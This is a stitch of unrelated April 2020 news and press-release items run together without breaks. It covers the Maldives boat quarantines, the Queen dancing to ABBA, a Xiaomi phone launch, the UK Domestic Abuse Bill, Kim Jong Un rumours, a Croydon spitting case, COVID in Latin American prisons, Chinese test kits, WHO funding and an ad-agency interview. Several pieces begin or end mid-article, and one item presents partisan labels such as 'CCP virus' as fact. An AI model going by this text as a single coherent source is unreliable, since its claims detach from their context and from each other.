Science, represented by director Alexandra Hanlon. Maldives: COVID-19: Three boats, fishing vessel quarantined in Male April 28,2020 | Source: AVAS National Emergency Operations Centre (NEOC) have revealed that three cargo boats that travel to Male' from atolls and a fishing vessel have been quarantined. In a news brief held by NEOC on Sunday night, the centre's spokesperson Mabrook Azeez said three boats named Amaaz, Kaaviyaa and Noofaru Express and a fishing vessel named Dharus-8, all of which are linked to COVID-19 cases, have been quarantined. The vessels were quarantined after some people who travelled on the boats tested positive for COVID-19. The first case was detected when a crew member of Kaaviya boat that travels to some northern islands tested positive. The captain of the boat Amaaz has also tested positive. A total of 98 people travelled on Amaaz that had stop-overs at 13 islands. Queen Elizabeth II might have just turned 94, but that doesnt mean she doesnt know how to have a good time. The head of the monarchy has worked hard to rule since she was in her 20s and even she needs to let loose every now and then. It turns out she reportedly loves dancing to Dancing Queen by ABBA and we can totally see why. Queen Elizabeth | Stefan Wermuth/WPA Pool/Getty Images The queen needs to have some fun every now and then Queen Elizabeth has ruled over the United Kingdom and its Commonwealths for decades; the queen just celebrated her 94th birthday on April 21. She was thrown into the role when her father died unexpectedly she was only 25. These days, the queen remains a voice of reason for the entire U.K. Amid the coronavirus pandemic, the queen has sent several messages to the British public, offering some support and understanding, and reminding them that better days will return. She was reportedly seen dancing to Dancing Queen at a Windsor Castle banquet The queen might be one of the most important women in the world, but that doesnt mean she cant let loose every now and then. Back in 2017, Chris Evans, a radio DJ for BBC, revealed that the queen actually loves dancing to Dancing Queen by ABBA. Evans was DJing at the event, and when the song came on, the queen immediately got up to dance (or so we hear). And Evans revealed that her reasoning for loving the song was because I am the Queen, and I like to dance. Of course, well never know for sure whether its true, but it totally wouldnt surprise us if the queen knows how to get her groove on. After 94 years, shes bound to have learned a few solid dance moves, right? The royals have had their share of fun through the years Although the queen isnt necessarily viewed as a party girl, the royals have been known to have a little too much fun from time to time. Back when Prince William was serving in the military, he reportedly spent many a night out with friends, surrounded by beautiful women and plenty of alcohol (it supposedly was part of the reason why he and Kate Middleton broke up in 2007). And Williams brother, Prince Harry, was infamously caught naked with several women in his hotel suite in Las Vegas back in 2012. The royals have to maintain a very professional public persona For the most part, the royals have always had their act together. There have certainly been a few partying scandals, but they all keep very polished personas in front of the British public. And Queen Elizabeths innocent enjoyment of Dancing Queen is probably one of the sweetest things weve ever heard. Theres no denying we are living in uncertain times. But thinking about the queen enjoying herself while listening to an iconic song that resembles her is something that definitely brings us a little bit of joy. According to Krieg, who has served 29 months, his sentence is much more likely a sentence of 27 to 33 months" because recent court rulings undoing the term violent crime for two charges against him. Krieg stated that 85% of 33 months is 28 months, which means he has likely already served, or is about to serve, his likely sentence. Xiaomi has officially unveiled the Xiaomi Mi 10 Youth in China starting from the price of RMB2099(~RM1286) for the 6GB + 64GB variant. The other variants such as the 6GB + 128GB, 8GB + 128GB, 8GB + 256GB are priced at RMB2299(~RM1409), RMB2499(~RM1533), and RMB2799(~RM1717) respectively. As for the tech specs, the Xiaomi Mi 10 Youth comes equipped with a Qualcomm Snapdragon 765G chipset, up to 8GB of RAM, up to 256GB on internal storage, 6.57-inch AMOLED display and a 4160mAh internal battery which supports 20W fast charging. Camera-wise, the smartphone comes equipped with a 48MP + wide-angle lens + macro + portrait camera sensors, while the front has a 16MP selfie camera. As for the features, the device is able to achieve up to 50x zoom thanks to its pericope camera sensor in the rear. Not only that, but it also comes with various other features such as Super Night mode as well as OIS to ensure the pictures are not blurry due to shaky hands. With all that said, theres no official information on the Malaysia release date and local pricing of the Xiaomi Mi 10 Youth for now. Would you be interested in getting the phone as soon as it is available in Malaysia? Let us know on our Facebook page and for more updates like this, stay tuned to TechNave.com. L abour has proposed legislation to deliver a dedicated fast-tracked fund for domestic abuse services affected by the coronavirus crisis. It comes as the Domestic Abuse Bill returns to Parliament for its second reading on Tuesday amid a reported spike in abuse during lockdown. Shadow home secretary Nick Thomas-Symonds has set out plans to place amendments as part of the Domestic Abuse Bill to force the Government to take action to provide emergency funding to domestic abuse charities. The Labour Party has outlined a set of proposals that would ensure a dedicated proportion of 10 per cent of the 750 million charity support announced by the Chancellor would be ring-fenced for domestic abuse charities. The proposals would ensure a system is put in place to fast-track investment to the front line, before charities have to close their doors due to being oversubscribed or unable to pay their staff. Mr Thomas-Symonds said: "It is clear that domestic abuse is increasing rapidly during the lockdown and we need the Government to act urgently to support frontline services. "Our society must not turn its back on some of the most at-risk people in this crisis, too much time has already been lost and action is needed now. "Labour's plan would deliver 75 million to the front line rapidly, to help keep women and children safe from abuse." Meanwhile, the Home Office said 3.1 million will be given to specialist services for children affected by domestic abuse. The funding will be split between local authorities, children's charities and police and crime commissioners across England and Wales. Minister for safeguarding, Victoria Atkins, said: "It is unacceptable that some children have to witness appalling abuse carried out in their home by those they should trust the most. "This funding will go towards supporting these children, healing their emotional scars, and ensuring they can move forwards and have a positive future." Mr Thomas-Symonds said of the 3.1 million: "This announcement falls woefully short of the amount needed to support vital frontline services in the face of rapidly increasing domestic abuse during lockdown." The Domestic Abuse Bill is among several proposed laws which stalled after Prime Minister Boris Johnson decided to prorogue Parliament and the general election was called. The Centre for Women's Justice (CWJ) is calling for a new offence of "non-fatal strangulation" to be included in the Bill. Nogah Ofer, solicitor at the CWJ said: "Non-fatal strangulation is a gendered crime. It is a well-known risk factor for serious domestic violence and homicide. "It is also frequently used as a tool to exert power and control, and to instil fear. It sends the message that 'if you do not comply, this is how easily I can kill you'." Elsewhere, Age UK said 80,000 more people aged 60 to 74 have suffered from domestic abuse since November 2019, when the Government's legislation was delayed. The charity reiterated its call on the Government to include data collection of domestic abuse on over-74s. Currently data on older victims and survivors is only collected by the Crime Survey for England and Wales up to the age of 74, Age UK said. The charity said without this data, older domestic abuse victims are even more hidden from view and less likely to be factored into specialist support services. Caroline Abrahams, charity director at Age UK, said: "People of any age can be affected by domestic abuse, but older people can be particularly vulnerable to certain forms of abuse, including by a carer and financial abuse. "They are likely to be dependent on the person abusing them and very few older domestic abuse victims are accessing professional support. "Unfortunately, coronavirus only exacerbates the situation for many at-risk older people and has added another barrier to them leaving an abusive situation." Barnardo's chief executive Javed Khan said: "The Domestic Abuse Bill is a once-in-a-generation opportunity to tackle the horrific crime of domestic abuse, so we absolutely must get this right. "Few of us can imagine what it feels like for victims and children trapped in an unsafe home, isolated from support systems, school and friends, and unable to get any respite from their abuser. "The Bill introduces a new duty on local authorities to provide support for victims in refuges. US President Donald Trump has put an end to all speculations on North Korean dictator Kim Jong Un's medical condition at his Monday's press briefing. Asked if he had new information about Kim's health, Trump said: "Yes, I do have a very good idea, but I can't talk about it now. I just wish him well". Trump continued, "I hope he is fine...I do know how he's doing, relatively speaking". Trump added that the media would "probably be hearing in the not-too-distant future about Kim". Also read: Kim Jong Un death rumours: Here's what South Korea has to say Multiple conjectures have grown since Kim's conspicuous no-show at April 15 celebrations for the birthday of his grandfather Kim Il Sung- the North Korea's founder. One report even claimed that Kim had died after a botched heart surgery. Also read: Kim Jong Un's doctor botched heart surgery as his hands were shaking, claims report Kim has not made a public appearance since presiding over a Workers' Party politburo meeting on April 11. On the same day, state media reported on him inspecting fighter jets at an air defence unit. Also read: Is Kim Jong Un dead? Twitter abuzz with rumours of North Korean leader's demise On Sunday, a top foreign policy adviser to South Korea's President Moon Jae-in said that Kim was "alive and well". The foreign policy advisor added, "He (Kim) has been staying in the Wonsan area since April 13. No suspicious movements have so far been detected". Yesterday, South Korea's Unification Minister said in a private meeting that the country had, "enough intelligence to confidently say there are no usual developments regarding Kim's health," reported AFP. Also read: Kim Jong Un death rumours: Helicopters fly low in Pyongyang, trains disrupted, says North Korean leader's biographer Also read: Kim Jong Un death rumours: North Korea remains silent as world watches closely Also read: Kim Jong Un's train spotted at North Korean resort town A 23-year-old Indian-origin man in the UK has been sentenced to eight months' imprisonment for lying about having Covid-19 and spitting at a police custody officer, in the first such case heard in a British court. Karan Singh, from Croydon in south London, pleaded guilty at Croydon Crown Court to three counts of assault on an emergency worker, use of threatening/abusive/insulting words/behaviour to cause harassment/alarm/distress and possession of the Class B or banned drug cannabis. He was sentenced last week to four months' imprisonment and also an additional four months' sentence, to run consecutively, for being in breach of a suspended sentence making his total sentence eight months. It is never acceptable to spit at an emergency worker, whether it is during these unprecedented times or not, said Superintendent Dan Knowles, of South Area Command at the Metropolitan Police. Singh carrying out this vile act and then lying about having coronavirus was a deplorable thing to do and it caused a great deal of distress for the officers and staff who were just trying to do their job and keep London safe. Offenders who think this is an acceptable thing to do will be arrested and placed before the courts, and a prison sentence is a likely outcome, he said. Judge Alice Robinson presided over the hearing last Friday, during which she indicated that such cases will not be taken lightly. On March 14, uniformed officers were on patrol when they spotted Singh sitting in a car in a driveway in Croydon. They recognised him as being disqualified from driving and so they approached the car and spoke to him. Singh denied he was disqualified from driving and stated that he had been given his licence back. As officers were speaking to him, they noticed a strong smell of cannabis coming from him and the vehicle and asked him about the smell and he admitted smoking cannabis. As one of the officers began explaining the grounds for a search under the UK's Misuse of Drugs Act, Singh attempted to start the engine of the vehicle and make off from police. However, the vehicle stalled and officers were able to detain him. Officers found a snap bag of cannabis in the driver's foot well and Singh admitted to having cannabis for personal use. Singh was arrested on suspicion of possession of a Class B drug. Upon searching the car, a further nine bags were found. Singh was taken to a south London police station where he was verbally abusive to the interviewing officers, the Met Police said. Following the interview, Singh became aggressive and stated that he would not go back to his cell. He had to be physically taken back by a custody sergeant and PC, with a DC and Designated Detention Officer (DDO) also stepping in to support their colleagues. Once at the cell door, Singh continued to struggle with the officers. The officers managed to get him into the cell and when the door was partially closed, Singh spat directly into the custody sergeant's face. Some of the spit also hit the DDO's lip and the DC's cheek. Singh then tried to prevent officers from closing the cell door, during which he told the custody sergeant that he had coronavirus. He was further arrested on suspicion of assaulting an emergency worker. Following the incident, Singh was interviewed behind his cell door for safety reasons. He admitted to spitting at the officers stating he did it because he had been waiting for hours and he got stressed out. When asked if he had coronavirus, he admitted that he did not and stated he said it because he was angry. At the conclusion of the interview, Singh was asked if he had anything he wanted to say and he said: Sorry to the officers. The custody sergeant had to go to hospital for checks and had some (none Covid-19 related) vaccines. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) ALAMEDA, Calif., April 27, 2020 /PRNewswire/ -- Welcome Home Funding, a joint venture between CMG Financial and Berkshire Hathaway HomeServices Drysdale Properties headquartered in Alameda, CA, announced the hire of John Dutra as President of the company. The addition of John Dutra is an example of Welcome Home Funding's investment in the right leadership and is key to maximizing the success of the organization. John Dutra, President, Welcome Home Funding John Dutra has a diverse sales and financial services background including 15 years' experience in the builder industry and 11 years' experience in mortgage lending. With a busy housing market expected in 2020, Dutra's leadership will be critical to streamlining production during this period of rapid growth. Dutra's experience with a premier purchase-centric mortgage lender will enable him to apply his strategies to grow Welcome Home Funding and expand its market footprint. Berkshire Hathaway HomeServices Drysdale Properties, the 13th largest brokerage overall, operates its corporate office in the heart of the East Bay and has 47 branches throughout Northern California and Nevada, with plans to continue expansion into new regions. With Berkshire Hathaway HomeServices Drysdale Properties, Welcome Home Funding clients get access to 1,200 premier licensed agents throughout California and Nevada to guide them through their relocation needs. CMG Financial continues to expand their number of joint ventures and plans to have formed four new partnerships this year. Current and future partners appreciate CMG Financial's focus on the customer, innovative products, and operational expertise to ensure loans close on time and there is a happy homeowner at the end. This culture of customer service creates an environment that allows the partnerships to thrive. "Our joint venture partners get the support of a large company that acts like a small company. We take care of our people to make sure that we have an extraordinary environment," said Chris Harris, Vice President, National Joint Venture Manager, CMG Financial. "Our goal for joint ventures is to find like-minded partners to take that next step, we execute this from an operational mindset to build strong companies." If you'd like to learn more about joint venture opportunities at CMG Financial, contact Chris Harris at [email protected]. About Welcome Home Funding Welcome Home Funding is a joint venture between CMG Financial, a privately held, well-capitalized mortgage banking firm headquartered in San Ramon, CA, and Berkshire Hathaway HomeServices Drysdale Properties, one of the nation's fastest-growing, 100% woman-owned real estate brokerages. Welcome Home Funding delivers a full-service real estate experience that supports the home buyer from home search to home financing. Both CMG Financial and Berkshire Hathaway HomeServices Drysdale Properties are privately held and are quick to adapt to the needs of today's home buyers. About CMG Financial CMG Financial is a well-capitalized, privately held mortgage-banking firm founded in 1993. The company makes its products and services available to the market through three distinct origination channels including Retail Lending, Wholesale Lending, and Correspondent Lending. CMG Financial currently operates in all states, including District of Columbia, and holds federal agency lending approvals with HUD, VA, RHS, GNMA, FNMA and FHLMC. Throughout the mortgage banking and housing markets, CMG Financial is widely known for responsible lending practices, industry and consumer advocacy, product innovation, and operational efficiency. Media Contact: Madelynn Graham Phone: 443.455.1137 Email: [email protected] Related Images john-dutra-president-welcome-home.jpeg John Dutra, President, Welcome Home Funding John Dutra, President, Welcome Home Funding Related Links Welcome Home Funding CMG Financial SOURCE CMG Financial Technavio has been monitoring the frozen breakfast foods market and it is poised to grow by USD 1.15 billion during 2019-2023, progressing at a CAGR of over 6% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200427005595/en/ Technavio has announced its latest market research report titled Global Frozen Breakfast Foods Market 2019-2023 (Graphic: Business Wire) Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Latest Free Sample Report on COVID-19 Impact The market is fragmented, and the degree of fragmentation will accelerate during the forecast period. Ajinomoto Co. Inc., Conagra Brands Inc., Dr. August Oetker Nahrungsmittel KG, General Mills Inc., McCain Foods Ltd., Nestle SA, Nomad Foods Ltd., The Kraft Heinz Co., Tyson Foods Inc., and Unilever Group are some of the major market participants. The launch of new products will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments. Launch of new products has been instrumental in driving the growth of the market. Frozen Breakfast Foods Market 2019-2023: Segmentation Frozen Breakfast Foods Market is segmented as below: Distribution Channel Hypermarkets and Supermarkets Grocery and Convenience Stores Online Retail Geographic Landscape APAC Europe MEA North America South America To learn more about the global trends impacting the future of market research, download latest free sample report of 2020-2024: https://www.technavio.com/talk-to-us?report=IRTNTR31957 Frozen Breakfast Foods Market 2019-2023: Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our frozen breakfast foods market report covers the following areas: Frozen Breakfast Foods Market Size Frozen Breakfast Foods Market Trends Frozen Breakfast Foods Market Industry Analysis This study identifies rising popularity of organic and vegan frozen breakfast food as one of the prime reasons driving the frozen breakfast foods market growth during the next few years. Frozen Breakfast Foods Market 2019-2023: Vendor Analysis We provide a detailed analysis of vendors operating in the frozen breakfast foods market, including some of the vendors such as Ajinomoto Co. Inc., Conagra Brands Inc., Dr. August Oetker Nahrungsmittel KG, General Mills Inc., McCain Foods Ltd., Nestle SA, Nomad Foods Ltd., The Kraft Heinz Co., Tyson Foods Inc., and Unilever Group. Backed with competitive intelligence and benchmarking, our research reports on the frozen breakfast foods market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform Frozen Breakfast Foods Market 2019-2023: Key Highlights CAGR of the market during the forecast period 2019-2023 Detailed information on factors that will assist frozen breakfast foods market growth during the next five years Estimation of the frozen breakfast foods market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the frozen breakfast foods market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of frozen breakfast foods market vendors Table Of Contents: PART 01: EXECUTIVE SUMMARY PART 02: SCOPE OF THE REPORT 2.1 Preface 2.2 Preface 2.3 Currency conversion rates for US$ PART 03: MARKET LANDSCAPE Market ecosystem Market characteristics Market segmentation analysis PART 04: MARKET SIZING Market definition Market sizing 2018 Market size and forecast 2018-2023 PART 05: FIVE FORCES ANALYSIS Bargaining power of buyers Bargaining power of suppliers Threat of new entrants Threat of substitutes Threat of rivalry Market condition PART 06: MARKET SEGMENTATION BY DISTRIBUTION CHANNEL Market segmentation by distribution channel Comparison by distribution channel Hypermarkets and supermarkets Market size and forecast 2018-2023 Grocery and convenience Stores Market size and forecast 2018-2023 Online retail Market size and forecast 2018-2023 Market opportunity by distribution channel PART 07: CUSTOMER LANDSCAPE PART 08: GEOGRAPHIC LANDSCAPE Geographic segmentation Geographic comparison Europe Market size and forecast 2018-2023 North America Market size and forecast 2018-2023 APAC Market size and forecast 2018-2023 MEA Market size and forecast 2018-2023 South America Market size and forecast 2018-2023 Key leading countries Market opportunity PART 09: DECISION FRAMEWORK PART 10: DRIVERS AND CHALLENGES Market drivers Market challenges PART 11: MARKET TRENDS Rising number of private label brands Packaging innovations of frozen breakfast foods Increasing M&A activities PART 12: VENDOR LANDSCAPE Overview Landscape disruption Competitive scenario PART 13: VENDOR ANALYSIS Vendors covered Vendor classification Market positioning of vendors Ajinomoto Co. Inc. Conagra Brands Inc. Dr. August Oetker Nahrungsmittel KG General Mills Inc. McCain Foods Ltd. Nestle SA Nomad Foods Ltd. The Kraft Heinz Co. Tyson Foods Inc. Unilever Group PART 14: APPENDIX Research methodology List of abbreviations Definition of market positioning of vendors PART 15: EXPLORE TECHNAVIO About Us Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200427005595/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ The virus sweeping the world has ended globe-trotting diplomacy but virtual gatherings have flourished, as leaders swap notes on the battle against a virus. The G20 meeting was convened via a video link by Saudi Arabia on April 7 and it turned into a piece of performance art, vividly illustrating the limits of technology and the glaring flaws in the current crop of premiers, presidents and prime ministers. The technical glitch came when a still hale Boris Johnson began to speak and no one could hear him. Either his microphone was muted or some other gremlin had infected the narrowcast but, whatever the cause, London wasnt calling. The chief complaint with some of the other presentations was you could hear what they were saying. If this is the best the world has to offer then we are doomed, one witness noted. The big problem lies with the heavyweights, the United States and China. Anyone who muses about injecting disinfectant should not be leading a boy band let alone a superpower. Even if he was fit for purpose, Donald Trump has never had any interest in leading the world. His chief political skill is in polarising domestic opinion and harvesting enough of it to win power. But the enduring genius of America is its freedom. Powerful governors, academics and a vibrant media arent afraid to push back against the President. We know Americas flaws in vivid detail because Americans shine a spotlight on them every single day. By Associated Press SANTIAGO: The spreading specter of the new coronavirus is shaking Latin Americas notoriously overcrowded, unruly prisons, threatening to turn them into infernos. The Puente Alto prison in downtown Santiago, Chile, had the largest of Latin Americas largest prison virus outbreaks so far, with more than 300 reported cases. The prisons 1,100 inmates are terrified. Social distancing is hard to practice in jail. They are all in contact with each other, said prison nurse Ximena Graniffo. Any efforts at reducing contact were blown away in El Salvador over the weekend when authorities crammed prisoners albeit wearing masks tightly together in prison yards while searching their cells. President Nayib Bukele ordered the crackdown after more than 20 people were murdered in the country Friday and intelligence suggested the orders came from imprisoned gang leaders. Latin Americas prisons hold 1.5 million inmates, and the facilities are often quasi-ruled by prisoners themselves because of corruption, intimidation and inadequate guard staffs. Low budgets also create ideal conditions for the virus to spread: There is often little soap and water and cell blocks are crowded. So far, national officials have reported close to 1,400 confirmed cases of COVID-19 among inmates and prison staff. The worst hit has been Peru, with 613 cases and at least 13 deaths, though the extent of testing to determine the full scale of infections differs from country to country. When the Dominican Republic tested more than 5,500 inmates at the La Victoria prison, which has been producing protective face masks for the public, officials reported at least 239 tested postive. Perhaps the most complete testing appears to be taking place in Puerto Rico, where the Department of Corrections said Friday it will test all the nearly 9,000 inmates being held across the U.S. territory, as well as 6,000 employees, including prison guards. Fear of the virus itself already has proven deadly. There have been 23 deaths in prison riots in Colombia since the pandemic started. More than 1,300 inmates have escaped prisons in Brazil after a temporary release program was cancelled due to the outbreak, and more than 1,000 have been on hunger strikes in Argentina. All over the region, the demands are the same: protection against contagion. With most family visits cancelled, inmates feel exposed, vulnerable, alone and exploited. Inmates report that prices at informal and formal prison stores have increased during the pandemic, and relatives can no longer bring them food and hygiene items from the outside. Right now, a bag of soap powder costs 29 pesos ($1.20) , when before it was 20 (80 cents) said a prisoner in Mexico, who lives in a 12 foot by 12 foot (4 meters by 4 meters) cell with a dozen others. He spoke on condition of anonymity because he was using a banned cellphone. Human Rights Watch says conditions are even worse in countries like Haiti, Bolivia or Guatemala. U.N. Human Rights High Commissioner Michelle Bachelet, the former president of Chile, has called sanitary conditions in the region deplorable and called for releases of less dangerous inmates. Countries like Chile and Colombia have already released about 7,500 inmates and Mexico's Senate last week approved a measure to free thousands, though Brazil has not yet acted. Regional security analyst Lucia Dammert says releasing a few thousand inmates wont significantly reduce the threat of contagion, however, and some urge more sweeping releases. Prisoners have been sentenced to loss of liberty, not to death, and the state has to take measures at its disposal, said Jose Miguel Vivanco, Americas director for Human Rights Watch. And in many countries, such as Bolivia, most of those behind bars have not yet been sentenced or are awaiting trial. In Chile, the head of the prison guard system, Christian Alveal, said the prisoners' fears are totally reasonable, and he said officials are working to minimize the worries of the inmates." Some prisons have tried to do that by allowing prisoners more calls to relatives, and Argentina, with 13,000 prisoners, has allowed videocalls. Buenos Aires has even allowed prisoners to use cellphones, which are normally banned because they are sometimes used in extortion schemes. Inmates at the San Pedro prison in Bolivia's capital, La Paz, have taken their own measures against contagion. While inmates elsewhere have rioted over bans on family visits, the Bolivian inmates themselves decided on such a ban. And they turned what are normally punishment cells into 14-day quarantine lockups for newly arrived prisoners. Ximena Graniffo, the nurse at Puente Alto, seemed resigned to a struggle. You do what you can with what you have, she said. The Cabinet of Ministers of Ukraine will not submit to the Verkhovna Rada this week the candidacy of Mikheil Saakashvili for the post of Deputy Prime Minister for Reforms, a source close to the government told Interfax-Ukraine. According to the agency's interlocutor, the Cabinet of Ministers will not submit Saakashvili's candidacy to the parliament, since there are currently no votes for his appointment as deputy prime minister for reforms. As previously reported, Saakashvili wrote on his Facebook page that he had received an offer to become deputy prime minister for reforms in the Cabinet of Ministers of Ukraine. Later, Georgian Ambassador to Ukraine Teimuraz Sharashenidze said that the possible appointment of Saakashvili to the post of Deputy Prime Minister of Ukraine for reforms is likely to be perceived in Tbilisi as an unfriendly and unacceptable step from a strategic partner. Aside from being Princess Diana's son, Meghan Markle's husband, and the "spare" next to the heir to the throne, Prince Harry is also known as a mental health advocate. Throughout his royal duties, the Duke of Sussex has been a strong supporter of normalizing mental health care and encouraging everyone to look after themselves. The 35-year-old Prince may have officially stepped down as a senior member of the royal family, but his mental health advocacy continues. Just recently, Harry launched a campaign that he spearheaded three years ago. Military Mental Health Support Prince Harry introduced HeadFIT, a special project that aims to support defense personnel's full mental health support. It is an online platform designed with the Britain Defence community in mind to help them manage their stress level every day. It is accessible to them 24/7. The project is close to Harry's heart since he also served the army for 10 years. Just like the Endeavor Fund and Invictus Games, Harry's charities are always centered on members of the armed forces and veterans. During his virtual speech, the Duke revealed that it took them three years to do the project, and he is very grateful for everyone who helped them make it possible. "Everyone who has worked on it, to create what we have today, should be incredibly proud and excited for the impact it will have," Prince Harry said. Harry believes that the military community should lead the way for society, and they can only do this if they have stable physical and mental health conditions. HeadFIT's platform will allow the military workforce to have access to self-help tools to improve mood, drive, and confidence. It also includes methods such as breathing exercises, body posture, and relaxation techniques designed to relieve the stress of all kinds of personnel from new recruits, long-serving personnel, veterans, or civilian staff. "HeadFIT is a proactive approach to mental fitness, focusing on our own potential to increase our performance, using proven methods in sport science," Harry added. Harry explained that HeadFIT aims to promote self-optimization and pushing one's self at their full potential. He said that it is about "gaining an advantage" in all kinds of situations and building resilience to prepare them for everyday stress. "To be HeadFIT is to be at your peak performance," Harry said. "If you want to be truly fit, strong, and healthy, you have to train your mind and body as one. What do you do to be mentally fit? Think about what you can do to unlock your potential and to perform at the highest level," he added. Prince Harry's new project is done in partnership with the "Heads Together" campaign, the Ministry of Defence, King's College London, and with clinical advice from Dr. Vanessa Moulton. Back in 2017, Harry visited the Ministry of Defence in central London to kick off the said partnership. In 2019, he also appeared in a video conference to introduce HeadFIT before its official launch. Based on the official press release, the digital initiative was created with inputs from real defense personnel. HeadFIT will also be available to the public by June, as it is currently under evaluation the King's College London. China on Tuesday said it was "deeply concerned" over the evaluation result of the COVID-19 rapid testing kits supplied by two Chinese companies and subsequent decision by the Indian Council of Medical Research (ICMR) to not use the equipment, and hoped that India will resolve the issue "reasonably". The ICMR on Monday asked states and union territories to stop using the test kits procured from the Chinese companies Guangzhou Wondfo Biotech and Zhuhai Livzon Diagnostics due to "wide variations" in their performance. "We are deeply concerned with the evaluation results and the decision made by the Indian Council of Medical Research. China attaches great importance to the quality of exported medical products," Chinese embassy Spokeperson Ji Rong said. In a statement, she also said it is "unfair and irresponsible for certain individuals to label Chinese products as 'faulty' and look at the issues with preemptive prejudice". Ji, however, did not clarify who are the individuals she was referring to. At the same time, the spokesperson said China will continue to support India's fight against the pandemic and will jointly work with New Delhi to overcome the challenge "at an early date" to protect people of the two countries from the infection. India procured around 500,000 rapid antibody test kits from the two Chinese firms nearly two weeks back and they were distributed to several states reporting rising cases of the coronavirus infection. In a communication, the ICMR asked states and union territories to return the kits to the central government so that they can be sent back to the suppliers. The government has said that not a single rupee will be lost as payments were not made to the Chinese suppliers of the kits. The procurement of the kits from the two Chinese companies have been cancelled after the equipment were found under-performing, the government said. In her statement, Ji said the Chinese Embassy has maintained close contact with the ICMR and the two Chinese companies to find out the "real situation", adding China not only sincerely supports India in its fight against COVID-19, but has also been taking concrete actions to help it. "The COVID-19 antibody rapid test kits produced by these two Chinese companies have been exported to and well recognised in many countries in Europe, Asia and Latin America," Ji said. "We have also learned that there are strict requirements for the storage, transportation and use of COVID-19 antibody rapid test kits. Any operation which is not carried out by professionals in accordance with the product specifications will lead to the testing accuracy variations," she added. The Chinese embassy spokesperson hoped that India would respect "China's goodwill and sincerity, strengthen communication timely with relevant Chinese companies based on facts, and resolve it reasonably and properly." "Viruses are common enemy of mankind. Only by working together, can we win this battle against the epidemic. Following India's epidemic situation, China has been feeling the same, shared its experiences in epidemic prevention, control and treatment, and donated medical materials to India," Ji said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Rep. Engel Launches Probe into Trump Pausing WHO Funding House Foreign Affairs Chairman Rep. Eliot Engel (D-N.Y.) on Monday announced a probe into President Donald Trumps decision to halt funding to the World Health Organization (WHO) as officials look into how the United Nations group is being run. Trump and top federal officials have said the WHO may have helped coverup the outbreak of the CCP (Chinese Communist Party) virus, a novel coronavirus that emerged from mainland China last year. The WHO, which is closely aligned with the CCP, promoted talking points from China throughout January and February, including a claim that there wasnt widespread human to human transmission of the virus. Engel wrote in a letter (pdf) to Secretary of State Mike Pompeo that the administrations rationale for halting funding is inadequate. The chairman said his committee is determined to understand the reasons behind this self-defeating withdrawal from global leadership. Admitting the WHO is an imperfect organization, Engel said the group has made mistakes during the course of the COVID-19 pandemic and he supports reforms of the organization. Statues facing the entrance of the World Health Organization (WHO) headquarters in Geneva, Switzerland, on April 24, 2020. (Fabrice Coffrini/AFP via Getty Images) But, certainly, cutting the WHOs funding while the world confronts the COVID-19 tragedy is not the answer, he added. Diplomatic, development, and global health professionals have warned that cutting the WHOs funding at this time will only hurt the global response and provide another opportunity for China to exert its influence. Engel asked Pompeo to produce a number of documents by May 4, including any related to the decision to withhold funding from WHO and a complete list of State Department and USAID officials who were consulted by the White House before the decision. The United States was WHOs top source of funding in 2019 and 2018, contributing some $400 million last year. Pompeo said last week the United States could permanently end funding to the group. "As things stand, it's critical that we over-communicate opposed to under. Firstly, as an Exco, we meet every morning to assess our people. They are our most valued asset and their well-being before anything is our main priority. Then we discuss each active client's needs and their respective requirements and determine what that means from an operational point of view for the day and the rest of the week. Masego Motsogi, MD at Grid Worldwide What was your initial response to the crisis or lockdown and has your experience of lockdown been different to what you expected? Comment on the impact of the pandemic on the agency and creative industry or economy as a whole. How is the agency responding to the crisis and current lockdown? Comment on the challenges and opportunities. Speaking of opportunities, the world has really turned to creativity during this time. Why do you think this is the case and what does this mean for the industry, agencies and their clients or brands? By its very own definition, creativity is about the ability to see the world in new ways and so we are primed for this. How has the lockdown affected your staff? What temporary HR policies have you put in place regarding remote working, health & safety, etc.? How are you navigating physical distancing while keeping your team close-knit and aligned and your clients happy? What are you busy working on? Any initiatives/campaigns relating to the coronavirus? Our Covid-19 information portal: www.tbwa-covid19-tracker.herokuapp.com Our creative contribution to the Solidarity Fund www.howyoucanhelp.co.za Has this global crisis changed your view of the future of advertising/marketing in any way? Any trends youve seen emerge as a result of the crisis? Back to brand : The world had become about selling, and selling and selling with little communication about what brands stood for. : The world had become about selling, and selling and selling with little communication about what brands stood for. Virtual Showcases : We have seen many entertainers go virtual. I especially enjoyed John Legend and Andrea Bocellis shows, and I would like to see more brands getting involved in such kind of shows. : We have seen many entertainers go virtual. I especially enjoyed John Legend and Andrea Bocellis shows, and I would like to see more brands getting involved in such kind of shows. E-(but not quite) commerce : E-commerce has grown quite substantially. I have noted smaller businesses giving vouchers for advanced booking to secure their businesses. Perhaps something will emerge out of running businesses this way. : E-commerce has grown quite substantially. I have noted smaller businesses giving vouchers for advanced booking to secure their businesses. Perhaps something will emerge out of running businesses this way. Humility and humanity: Ive often lamented that minimised use of the word 'Ubuntu' ,which in short translate to: 'I am because we are', i.e. no one can prosper alone. Lets just be decent human beings. Your key message to fellow industry folk? "We also meet as a management team to assess the lay of the land. We have observed that things are changing rather speedily and that there is new information coming at us constantly. We are constantly reviewing the agency temperament and plug 